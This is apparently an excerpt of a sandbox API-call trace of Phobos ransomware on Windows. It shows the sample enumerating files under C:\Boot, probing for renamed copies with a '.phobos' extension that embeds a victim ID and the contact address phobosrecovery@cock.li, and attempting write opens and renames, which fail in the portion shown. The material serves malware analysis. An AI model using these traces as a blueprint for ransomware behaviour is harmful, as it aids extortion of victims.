(hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.265] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.266] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.266] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.266] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.266] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.266] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.267] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.268] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.269] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.270] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.271] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.272] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.273] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.274] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.274] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.274] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.274] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.274] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.275] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.275] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.490] ResetEvent (hEvent=0x4f4) returned 1 [0147.490] SetEvent (hEvent=0x4f8) returned 1 [0147.491] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.491] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.494] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=0) returned 1 [0147.495] CloseHandle (hObject=0x53c) returned 1 [0147.496] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.712] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.712] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.717] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=0) returned 1 [0147.717] CloseHandle (hObject=0x554) returned 1 [0147.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.719] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=99744) returned 1 [0147.719] CloseHandle (hObject=0x554) returned 1 [0147.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0147.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.719] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.720] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=76632) returned 1 [0147.720] CloseHandle (hObject=0x554) returned 1 [0147.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0147.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.720] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.721] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=75616) returned 1 [0147.721] CloseHandle (hObject=0x554) returned 1 [0147.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0147.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.722] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.724] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45472) returned 1 [0147.725] CloseHandle (hObject=0x554) returned 1 [0147.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0147.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.725] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.729] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45984) returned 1 [0147.729] CloseHandle (hObject=0x554) returned 1 [0147.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0147.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.730] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.732] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=74072) returned 1 [0147.732] CloseHandle (hObject=0x554) returned 1 [0147.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0147.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.733] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.734] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=44960) returned 1 [0147.734] CloseHandle (hObject=0x554) returned 1 [0147.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0147.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.737] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=77664) returned 1 [0147.737] CloseHandle (hObject=0x554) returned 1 [0147.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0147.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.770] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.770] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.777] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3695719) returned 1 [0147.777] CloseHandle (hObject=0x554) returned 1 [0147.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0147.777] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0147.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0147.790] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.790] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.795] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=174959) returned 1 [0147.795] CloseHandle (hObject=0x554) returned 1 [0147.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0147.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.795] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.796] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.796] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.800] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=177414) returned 1 [0147.800] CloseHandle (hObject=0x554) returned 1 [0147.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0147.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.802] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.802] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.803] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.804] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=162331) returned 1 [0147.804] CloseHandle (hObject=0x554) returned 1 [0147.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0147.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.805] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.806] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.806] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.807] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=154427) returned 1 [0147.807] CloseHandle (hObject=0x554) returned 1 [0147.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0147.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.808] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.808] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.808] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, 